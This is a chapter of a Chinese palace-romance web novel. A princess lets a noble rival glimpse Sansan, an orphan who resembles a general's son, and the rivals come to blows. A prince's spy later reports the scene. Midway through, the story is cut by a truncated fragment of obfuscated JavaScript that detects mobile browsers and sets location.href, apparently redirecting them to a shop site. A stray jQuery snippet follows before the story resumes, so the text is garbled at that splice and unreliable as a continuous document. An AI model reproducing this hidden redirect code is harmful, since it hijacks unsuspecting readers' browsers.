裴朝朝一听,立马看向一旁候着的彩云,示意她去开门带人进来。
那杜筠仿佛没听到敲门声,依旧专心致志地看画,裴朝朝侧了侧身子,微微看向门口,见彩云打开门将人迎了进来时便扬起了笑脸:“三三姑娘,你来了啊。”
三三见公主身侧还有个女子在看画,看衣着打扮富贵无比,想来是什么贵家小姐,也不敢放声。
“让公主久等,是民女不是了,”三三将那两壶芳菲酒交给彩云,轻声笑道:“既然公主有贵客,酒也送到了,民女就先告辞了。”
“诶,等等,”裴朝朝见那杜筠头都不回,忍不住朗声道,“三三姑娘为了送我这酒,定是浪费了许多时间,彩霞,快,给三三姑娘点辛苦费。”
她本可以叫彩云给,却偏偏要叫那彩霞给,那彩云和彩霞正携手摊着画轴给那杜筠细看,听见裴朝朝的吩咐,彩霞当即将另一边的画轴交给了彩星,边掏出腰间的香囊作势要取银子边向三三走去。
画轴顿时对半折叠了起来,杜筠当即不乐意地回头道:“打赏银子就不能换个……”
杜筠本来很是气愤,可在回头看清三三时,眉眼间的怒气顿时转为了惊愕、错愣、震惊……
裴朝朝一直在暗中留意她的神情,自然没有错过她的这一番变化,心里竟然隐约有点兴奋,说不定她真猜对了!
杜筠急切起身,疾步走到三三跟前,眼神不错地盯着不明所以的三三。
这怎么会……怎么会跟温澄如此相像?!
难道姑母还生了个女儿?可是不可能啊!姑母当年生了温澄之后没坐好月子,身体大损,不适合再生育了。
再说就算真是姑母的女儿,又怎么会是个跑腿的民间女子?!
杜筠心里天人交战转了三百回合,心中既是疑惑又是震惊,她看了半响眼前人,终于试探着开口问了句:“你叫三三?”
三三被她的眼神打量得很是不舒服,虽然她平常的穿着很简朴,与眼前的公主和这位小姐比不得,可到底也是干净整洁的,但这人的眼神一会嫌弃,一会又是惊疑不定的,让三三莫名其妙。
“是,我就是三三。”三三眼神回视着对方,语气不卑不亢。
杜筠又试探问了句:“你父母是谁?”
三三看了她一眼,长了一张小家碧玉的脸,模样虽算不上一等一,但好歹也算个官宦人家的小姐,看年龄应该与她差不多,既不是长辈,也不是好友,问这问题问得也忒直接了。
“民女无父无母,是孤儿,养母是来财酒楼的老板。”三三依旧不卑不亢道,“贵人问完了吗?问完了民女还得回去做活。”
杜筠似是没听出她的话外之音,见她说要走情急之下竟然拉住了三三。
裴朝朝见三三表情十分不耐烦,暗道不好,赶紧把杜筠的手扯开,笑道:“杜筠你这是做什么呢?三三姑娘平日里就十分忙碌,今日肯给我送酒过来,已然是攒了许多活,不好再耽搁了。”
那杜筠被她扯着手腕,不甘心地一直奋力挣扎,平日里姣好的面容此刻变得狰狞无比。
裴朝朝半边身子用力挡着她,又朝彩霞看了眼:“彩霞,快送三三姑娘回去,记得给多点辛苦费!”
三三被她二人搞得莫名其妙的,但也没多想,随着彩霞就下了楼。
“这杜筠杜小姐,仗着是温将军夫人的侄女,自家父亲又是礼部尚书,向来爱跟公主比个高低,”彩霞心里斟酌着裴朝朝的交代,从囊袋里拿出了五两银子塞到了三三手中,笑道,“姑娘今日过来费了不少时间和心力,这是公主特意交代的,还请收下。”
温将军夫人的侄女?
三三本来是没多想的,但彩霞这话就像是专门说给她听的,心思回转间她刹那间就明白了过来。
是被认出来了?还是被怀疑了?
三三心里惊疑不定,但面上依旧弯了弯眼,她同彩霞来回推脱了几下,见推脱不了,便笑道:“如此就多谢公主了,时候不早了,民女就先回去了。”
杜筠又和裴朝朝打起来了。
她一见彩霞领着三三出了门,而自个的手还被裴朝朝牢牢攥着,想问的话都没问完,一时之间气血上涌,竟然生出了巨大的力气一把将裴朝朝甩到了桌上。
“哗啦——”一声,桌上的碟子碗筷顿时被扫了下去,裴朝朝侧腰撞在桌上,疼得她“哎哟”了一声。
一旁的彩云和彩星见状,赶紧去扶她起来。
杜筠刚刚同裴朝朝好一通挣扎,早上精致打扮的妆容早已凌乱不堪,太阳穴两处散着稀疏掉落的头发,衣袍袖子皱皱巴巴,面上一片涨红,想来是被裴朝朝拦住给气的。
“你是故意的!”杜筠瞪着裴朝朝,眼底发红,“你故意拦我不让我问她的身世,是不是你也认为她跟温澄长得像?!”
裴朝朝被侍女搀扶着,扶着自己的腰哎哟个不停,面上一片痛苦。
这杜筠怎么一下生出了这么大的力气?
“什么故意不故意的?”裴朝朝不打算回答她的问题,只是一直扶着自己的腰,没好气道,“你既不是长辈,也不是她好友,才刚说第二句话就这么冒昧问人家父母,你平日里学的礼数呢?亏你父亲还是礼部尚书!”
杜筠这下更气了:“你说我没礼数?”
裴朝朝现在腰疼无比,要是跟她继续打的话说不好真打不过。
她清了清嗓子,想着先安抚对方冷静下来:“我不是那个意思。”
我就是那个意思。
“你想啊,那三三就是个普通百姓,你若是真想知道她的身世,大可私底下自己去查,何必要这么咄咄逼人呢?我刚刚拦你是因为你太激进了,怕你惹怒了人家。”
杜筠将头发往后捋了捋,冷笑了几声:“你会那么好心?”
裴朝朝此时正对着门口,见谢序川突然出现,瞳孔微微睁大,想来是刚刚撞桌子把碗筷什么的都撞掉了……
还好杜筠此刻背对着门口,看不到人。
裴朝朝使劲挤了挤眼,示意他回隔壁雅间待着,奈何谢序川看不懂,只拧紧了眉头看向她手扶着的地方。
裴朝朝心里无奈,只好扬高了声调:“唉,当然是出自真心的啦,杜筠啊!你这脾气向来是说急就急,还好没惊动隔壁雅间的客人!不然吓着人家就不好啦!”
她边应付着杜筠,边不动声色地看向门口,只那道身影杵在门口不动,过了好一会才消失。
裴朝朝悬着的心终于放下了。
杜筠却不信她,她跟裴朝朝向来不对付,她看不惯裴朝朝因为出身好,唾手可得她想要的任何东西;裴朝朝也看不惯她,二人心知肚明。
杜筠扫了眼地上的一片狼藉,又看向那幅枫桥图,冷笑道:“看来今日赏画是赏不成了,既如此,那臣女就先行告辞了!”
说罢,杜筠便整了整衣裳自顾自出了门下楼。
谢序川回到雅间后一直站在门口留意,见杜筠走了这才过来。
他扫了眼满地的碎碗残碟,蹙眉道:“礼部尚书家的女儿竟然如此不知礼数?”
裴朝朝被彩云扶着坐下:“她爹是礼部尚书,又不是她是礼部尚书,对我,她向来没什么礼数。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245137|197864||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“这杜筠竟如此大胆?”
裴朝朝揉了一下自己的腰:“之前刚认识那会,她还收敛点,后来见我也不会跟父皇告状,胆子便越发大了。”
谢序川见她眉间痛苦,忍不住问道:“可是她伤得你?”
裴朝朝泄了口气,耷拉着眉头:“算吧?三三要走她不肯,愣是拽着人家,我只好把她给拽了回来,结果她突然就生了力气推了我一把,我一时没站稳,就撞在了桌子上。”
谢序川的眉头这下拧得更紧了,脸色也阴沉沉的。
裴朝朝被他这模样吓了一瞬,轻声问:“你这是怎么了?”
谢序川闭了闭眼,心里叹了口气:“公主还是先回宫里叫太医过来看看伤吧。”
裴朝朝见他神色又恢复了往常模样,不疑有他:“那确实是,先看伤比较重要。”
裴朝朝扶着彩云的手想起身,奈何那腰怎么都上不了力气,起了半天愣是没起来。
谢序川又闭了闭眼,倏尔才沉声道:“臣得罪公主了。”
说罢,他上前微微蹲下身子,右手横过裴朝朝的肩膀,左手一捞裴朝朝的双膝,腾地一下就给人抱了起来。
裴朝朝顿时脸色爆红:“你怎么……你怎么……”
谢序川没回答她,只道:“还请公主老实别动,不然又伤着了可不好。”
裴朝朝张了张嘴,脸色红得跟那辣子一般,嗫喏了半天一个字没蹦出来,见谢序川转身抬脚就要出门了,立马抬起袖子遮住了脸。
“王爷,人都走了。”天字号房里,十一站在廊上,先是看着杜筠气势汹汹上了自家马车,又是看着谢序川抱着公主上马车,脸上的表情十分之精彩。
“王爷,公主好像受伤了?”
想到刚才楼下传过来的碗筷落地声,裴景明笑了笑:“许是又跟那杜筠打了起来。”
十一面上不解:“这杜筠怎么一点尊卑礼数都不讲?竟敢几次三番对公主动手。”
裴景明吹了吹手里的茶盏,茶沫浮在上方,一遇气就散到另一边:“女儿家之间的打打闹闹,朝朝向来不会跟兄长父亲告状,那杜筠也是拿住了这点才如此放肆。”
他刚刚喝完那口热茶,监听的二七就回来了。
“王爷。”二七轻手轻脚关上了门,来到裴景明跟前开始回话。
“之前让你提前躲在那雅间檐上,可看清了里面的状况?”裴景明将茶盏搁在桌上。
二七低声道:“回王爷,都看清了。“
“那三三姑娘来了之后,杜家小姐本来不以为意,一心看画,后来公主就让彩霞给三三赏钱,”二七两手张开,绘声绘色地演了起来,“那彩霞本来是和彩星一人一边拿画轴的,她一走,杜筠就生气了,结果她一回头看到三三,脸上的表情简直是五颜六色。”
二七放下手,学着杜筠的模样演起了惊愕、错愣……末了还去拉十一的手,生动演绎着杜筠和三三以及公主之间的拉扯。
他一人饰两角,演绎得十分生动形象。
裴景明笑得没了力气,向后靠着轮椅继续笑。
“如此说来,那杜筠应当也是怀疑上了,回去之后肯定会想办法暗中查探三三的身世。”裴景明笑得喉咙干渴,拿起刚刚那盏茶又喝了两口,“她现在应当是疑惑三三是不是温将军在外面的私生女,所以不敢轻易去问家中长辈,温澄与三三长得最为相似,她说不定会故意带温澄去见三三,再由温澄来查三三身世。”
十一低声问:“可要助他们一臂之力?”
“温澄是个有能耐的,不用帮忙,暗中盯着就是了。”